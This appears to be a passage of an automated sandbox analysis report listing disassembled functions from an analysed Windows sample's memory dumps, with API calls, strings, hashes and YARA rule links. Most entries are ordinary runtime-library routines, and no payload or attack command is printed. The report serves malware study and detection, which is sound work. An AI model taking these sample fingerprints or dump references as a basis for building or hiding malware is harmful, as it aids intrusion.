Function 00793721 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,007937BD,00000000,00000000,00000000,?,?,?,00793605,00000000,FlsAlloc,0079F08C,0079F094), ref: 0079372E
GetLastError.KERNEL32(?,007937BD,00000000,00000000,00000000,?,?,?,00793605,00000000,FlsAlloc,0079F08C,0079F094,00000000,?,0078B999), ref: 00793738
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,?,00787814,?,00000000,?,00000000,?,00732E7E), ref: 00793760

Strings

api-ms-, xrefs: 00793745

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: c5916500cdc2cbdab3ca7ac4f36031a8dd74d6e1ade7cad58bd327bde323c041
Instruction ID: 71bd26cc0cf98b2d857ad9a284f56db737beb8685d41c44b81b45f451787cfc0
Opcode Fuzzy Hash: c5916500cdc2cbdab3ca7ac4f36031a8dd74d6e1ade7cad58bd327bde323c041
Instruction Fuzzy Hash: E6E04FB06C0348BBEF112BA8FD4AB593B55BB51B49F108020FA0CA84E1DB6DDA11C58A

Uniqueness

Uniqueness Score: -1.00%

Function 0078EC9B Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0078ED25

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a2f4a261536f2bfdae0a1fb7b1c7772b0924509835b8924cb7767d77a1a3c4c1
Instruction ID: 6076145e140f025101c99334e4a6b46cfa84388856fce875657cfb255091f506
Opcode Fuzzy Hash: a2f4a261536f2bfdae0a1fb7b1c7772b0924509835b8924cb7767d77a1a3c4c1
Instruction Fuzzy Hash: 96B12572A442859FEB11AF28C841BEEBBF5EF55340F2441AAE944EB342D73C9D01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00796D6C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00796E33
___AdjustPointer.LIBCMT ref: 00796E56
___AdjustPointer.LIBCMT ref: 00796EF2

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: ac702a7bea6e8c92465bb5a5d6ba3288ab8a2610c7e7942264f67cbfab30f330
Instruction ID: bfc7ae1541871bd001abd96690aea10b0da09877447a59ebc896165187cd6526
Opcode Fuzzy Hash: ac702a7bea6e8c92465bb5a5d6ba3288ab8a2610c7e7942264f67cbfab30f330
Instruction Fuzzy Hash: 0551037AA01206EFDF299F54E845BBA73B4FF01710F14422DE80147691E739ED90C790

Uniqueness

Uniqueness Score: -1.00%

Function 00791BDD Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fe5b139e3db3eb1e4d900bd02b00a770da7fafe847553b3ada4117e8715dba1
Instruction ID: 235d2eb574cba4ea3ba1346f6a6d3fbfda7d3ecec7cf56ff62013977ccaf9a88
Opcode Fuzzy Hash: 0fe5b139e3db3eb1e4d900bd02b00a770da7fafe847553b3ada4117e8715dba1
Instruction Fuzzy Hash: 65411872B00745EFDB24AF78EC05BAABBE9EB88710F504579F015DB781D678A9608780

Uniqueness

Uniqueness Score: -1.00%

Function 0078C3FF Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00787814,00000000,00787818,0078301E,00000000,?,?,?,00787945,00000000,?,?,?,00787814,?,00000000), ref: 0078C404
_free.LIBCMT ref: 0078C461
_free.LIBCMT ref: 0078C497
SetLastError.KERNEL32(00000000,00000007,000000FF,?,00787945,00000000,?,?,?,00787814,?,00000000,?,00000000,?,00732E7E), ref: 0078C4A2

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 1a802cddce371ade00bb0ce3f1230e235f3c666b60ecff0bcf2800f9e250e7ed
Instruction ID: 6ec2b1f10e9410b97ac7320277aa61c0074655fd51dcd809d360cf338583ab24
Opcode Fuzzy Hash: 1a802cddce371ade00bb0ce3f1230e235f3c666b60ecff0bcf2800f9e250e7ed
Instruction Fuzzy Hash: E0114CB62C4141ABD61237B55CAAD3B2A59DBC27B1F244228F719922E1DE7D8C418734

Uniqueness

Uniqueness Score: -1.00%

Function 0078C556 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,007862FE,0078D368,?,?,0078773D,?), ref: 0078C55B
_free.LIBCMT ref: 0078C5B8
_free.LIBCMT ref: 0078C5EE
SetLastError.KERNEL32(00000000,00000007,000000FF,?,?,?,007862FE,0078D368,?,?,0078773D,?), ref: 0078C5F9

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: e56455baeb918e47bb63353614da8b4d4ca9a7ddce6b7389d2f93bd566c810d6
Instruction ID: b9ed472da190a2072fe335c54cd9d675557067e8f4dba53a2d397ba8e6079877
Opcode Fuzzy Hash: e56455baeb918e47bb63353614da8b4d4ca9a7ddce6b7389d2f93bd566c810d6
Instruction Fuzzy Hash: 6A11DFB62C4101ABDE1637B95C89D2B2659D7C23B5F350238F614A22E1DF3D9D119734

Uniqueness

Uniqueness Score: -1.00%

Function 0040591D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00405943

Part of subcall function 00405768: __fltout2.LIBCMT ref: 00405794

__cftog_l.LIBCMT ref: 00405969
__cftoe_l.LIBCMT ref: 0040599B

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 3e5fa2272887ca95325cb30b57f4e99c4175d9c78e4126baba22499f1c7901cb
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 69116072000549FBCF125E84CC05CEE3F66FB08364B59842AFE1865171C23AC9B1AF89

Uniqueness

Uniqueness Score: -1.00%

Function 007979AC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000016,?,00000000,00000000,00000016,?,007954E3,00000016,00000001,00000016,00000016,?,0078FCE6,?,?,00000016), ref: 007979C3
GetLastError.KERNEL32(?,007954E3,00000016,00000001,00000016,00000016,?,0078FCE6,?,?,00000016,?,00000016,?,0078F77A,813783A3), ref: 007979CF

Part of subcall function 00797A20: CloseHandle.KERNEL32(FFFFFFFE,007979DF,?,007954E3,00000016,00000001,00000016,00000016,?,0078FCE6,?,?,00000016,?,00000016), ref: 00797A30

___initconout.LIBCMT ref: 007979DF

Part of subcall function 00797A01: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0079799D,007954D0,00000016,?,0078FCE6,?,?,00000016,?), ref: 00797A14

WriteConsoleW.KERNEL32(00000016,?,00000000,00000000,?,007954E3,00000016,00000001,00000016,00000016,?,0078FCE6,?,?,00000016,?), ref: 007979F4

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a22228ab6ca69d05073f52eef3993b90e8e6c15f1f396e07e5be7bcfd817fa05
Instruction ID: f7e547b8c0a4600aac15a93eec35669041a04b2e339c042cc178fdb8d0ae72e4
Opcode Fuzzy Hash: a22228ab6ca69d05073f52eef3993b90e8e6c15f1f396e07e5be7bcfd817fa05
Instruction Fuzzy Hash: 37F03036814114BBCF2A1F99EC09A8E3F66FB4B3A1B00C510FE0995131DA3A8D20DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00782E47 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00782E50

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

_free.LIBCMT ref: 00782E63
_free.LIBCMT ref: 00782E74
_free.LIBCMT ref: 00782E85

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 623739e0a25f619e867e9486cd01e119b50feaa2e85498a5ae6edde3498537de
Instruction ID: c8ba057a2ee1725d6e09844c8809deeb17d818875eb2eb460b051327158ab1d8
Opcode Fuzzy Hash: 623739e0a25f619e867e9486cd01e119b50feaa2e85498a5ae6edde3498537de
Instruction Fuzzy Hash: 52E09A7548412ADAC7517F14FC4D4853B63E7D6710341C046F610266B1D73D0D72DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0078CC37 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0078CE2A: GetOEMCP.KERNEL32(00000000,0078CFBB,?,?,Eyx,00787945,00000000,?,?), ref: 0078CE55

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,Eyx,0078D002,?,00000000,?,?,?,?,?,?,00787945), ref: 0078CC95
GetCPInfo.KERNEL32(00000000,0078D002,?,Eyx,0078D002,?,00000000,?,?,?,?,?,?,00787945,00000000), ref: 0078CCD7

Strings

Eyx, xrefs: 0078CC39

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: Eyx
API String ID: 546120528-691252616
Opcode ID: 23f9f21d615c4379afb7c0f6e87dd81df59daf9142225f1dd392e7e73554b8d5
Instruction ID: 822851b16da07d0ca22100519996cf8ed0792951a347d505cba37974481db1ab
Opcode Fuzzy Hash: 23f9f21d615c4379afb7c0f6e87dd81df59daf9142225f1dd392e7e73554b8d5
Instruction Fuzzy Hash: CD512670A802459EDB26BF35C844ABABFF5EF91300F14856ED09687252E77C9946CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00731000 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0073121C

Strings

UUUU, xrefs: 00731057
UUUU, xrefs: 0073105C

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: UUUU$UUUU
API String ID: 621844428-2425103364
Opcode ID: d99e69758d4da076ee48204ba277a030267dfe66108e10172c829bf314a62bce
Instruction ID: b5e695a1bc5fb66aa3ff722eec94ff8ceb3e3c1cf5c08fdac4fc11a7004608d9
Opcode Fuzzy Hash: d99e69758d4da076ee48204ba277a030267dfe66108e10172c829bf314a62bce
Instruction Fuzzy Hash: CD51FA32B042109FDB0C9E2CC926679BBD6ABC5360F55C52EF896CB395E938DD808742

Uniqueness

Uniqueness Score: -1.00%

Function 00780540 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0078057F
__IsNonwritableInCurrentImage.LIBCMT ref: 00780633

Strings

csm, xrefs: 0078061D

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: bf3669f5e97a6bc243df85a803ef3cb1b9516c1ffa38ea761a219c22acf9c368
Instruction ID: 9af89c65cdb227d8c14ee0d2a9fe32da66cf4eb5302c464e2c979c29d32a354e
Opcode Fuzzy Hash: bf3669f5e97a6bc243df85a803ef3cb1b9516c1ffa38ea761a219c22acf9c368
Instruction Fuzzy Hash: B241A374A4020CDFCF10EF68C885A9E7BA5BF45314F148155E9149B392E779D929CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 0078CFA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0078CE2A: GetOEMCP.KERNEL32(00000000,0078CFBB,?,?,Eyx,00787945,00000000,?,?), ref: 0078CE55

_free.LIBCMT ref: 0078D018

Strings

Eyx, xrefs: 0078CFA8

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free
String ID: Eyx
API String ID: 269201875-691252616
Opcode ID: 67dea39d3a8ef9c864f2b76ca66ec58696198840feceb7453096add57e00592c
Instruction ID: bfef2a05ffc300303f221985a3bcf244f8e1a365837512b312d8d8d146e82c84
Opcode Fuzzy Hash: 67dea39d3a8ef9c864f2b76ca66ec58696198840feceb7453096add57e00592c
Instruction Fuzzy Hash: 3231A272940249EFDF21EF68D884ADA77B5FF44314F10406AF910AB291EB3A9D11CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00796CD5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00796F4C

Strings

csm, xrefs: 00796FDF
csm, xrefs: 00796F6E

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: e9385517e5f1420d451a83b6d59113174290704e02a893df150618f5036534e8
Instruction ID: ede95ac2744035c673a23f8fb1e5a27321ae1fff6c0f1ad2665b31fb283ea73e
Opcode Fuzzy Hash: e9385517e5f1420d451a83b6d59113174290704e02a893df150618f5036534e8
Instruction Fuzzy Hash: CF31E232414218EFCF2A9F98FC449AA7B66FF08755B18425AFD5449121E33BDCA2DBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0079376C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,00000000,00000000,?,?,?,00793605,00000000,FlsAlloc,0079F08C,0079F094,00000000,?,0078B999,0078BA7D,00000003), ref: 007937EF
GetProcAddress.KERNEL32(00000000,?), ref: 007937F9

Strings

Eyx, xrefs: 007937D5

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: AddressFreeLibraryProc
String ID: Eyx
API String ID: 3013587201-691252616
Opcode ID: d567a201cb4d1f6c661ed6f446ec62c8e64b106aa8925a374dbef33ea676f4a6
Instruction ID: 2bffdc3635fda071cfa18644b00b35666e088685ff8245950b098f8cfdc4fc26
Opcode Fuzzy Hash: d567a201cb4d1f6c661ed6f446ec62c8e64b106aa8925a374dbef33ea676f4a6
Instruction Fuzzy Hash: BC1190F6600115AFCF22CFE4FCC099A73A8FB863607244269E911DB250E739DE12CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0078D9CB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0078D9F9
_free.LIBCMT ref: 0078DA1F

Strings

0d, xrefs: 0078D9F4, 0078DA01, 0078DA1A, 0078DA27, 0078DA4D

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free
String ID: 0d
API String ID: 269201875-1017762412
Opcode ID: 3f0efb2045d62ff99310d5ffe4a2e855d33175e490e39aa69bbf07c3d7b51d94
Instruction ID: a6ee643447f9f2919b8426c6170aacf37c5e635869592fbe625502ae1d99c9a7
Opcode Fuzzy Hash: 3f0efb2045d62ff99310d5ffe4a2e855d33175e490e39aa69bbf07c3d7b51d94
Instruction Fuzzy Hash: BB11D372A8420A9AD734AF38EC8DB553395A792334F248227F731DB1D0E6BCDC924785

Uniqueness

Uniqueness Score: -1.00%

Function 00793AD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 0078C370: EnterCriticalSection.KERNEL32(-007A8E50,?,0078D658,00000000,007A2F20,0000000C,0078D610,?,?,0078F5A8,?,?,0078C5A1,00000001,00000364,00000007), ref: 0078C37F

DeleteCriticalSection.KERNEL32(007A8150,?,?,?,?,007A3060,00000010,0078DAA0), ref: 00793B3B
_free.LIBCMT ref: 00793B49

Strings

0d, xrefs: 00793B02, 00793B19, 00793B2F, 00793B41, 00793B4F

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: CriticalSection$DeleteEnter_free
String ID: 0d
API String ID: 1836352639-1017762412
Opcode ID: 6a861fc9e8bc332ab273b40088562d75f841e2671062fe8ef230db3850e74f95
Instruction ID: 628a9dfd33f6f1aa17ff06a448a2fff17f690839df8d1145edfa684eb1febc60
Opcode Fuzzy Hash: 6a861fc9e8bc332ab273b40088562d75f841e2671062fe8ef230db3850e74f95
Instruction Fuzzy Hash: AE11A772640219DFCB10DF9CE88AB9C73B0FB45324F118146E6529B2E1CB7CD942CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00792C7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0078F52F: EnterCriticalSection.KERNEL32(00000016,?,0078F636,00000016,007A2FA0,00000010,007874C0,00000000,?,?,?,00000016,?,00787457,00000016,813783A3), ref: 0078F54A

FlushFileBuffers.KERNEL32(00000000,007A3040,0000000C,00792C64,0tx,?,00000016,00000016,00787430,?,00000016), ref: 00792CC5
GetLastError.KERNEL32 ref: 00792CD6

Strings

0tx, xrefs: 00792CFD

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: 0tx
API String ID: 4109680722-3467082110
Opcode ID: 099dba055081d4955a4e763affd5bfb217fd3c8a9bfa778901874d2def441e77
Instruction ID: 71b578df73b8c090b1e8656453f02f0de7420f59024365f7b46b7cb97efbf07a
Opcode Fuzzy Hash: 099dba055081d4955a4e763affd5bfb217fd3c8a9bfa778901874d2def441e77
Instruction Fuzzy Hash: 19015272A10214DFDB14BFA8E90975D7BA5FB4A720F10425AF411DB3E2DB7C99028B54

Uniqueness

Uniqueness Score: -1.00%

Function 00732850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00732878
lstrcatW.KERNEL32(00000000,\Last Version), ref: 00732880

Part of subcall function 00787725: _free.LIBCMT ref: 00787738

Strings

\Last Version, xrefs: 0073287A

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
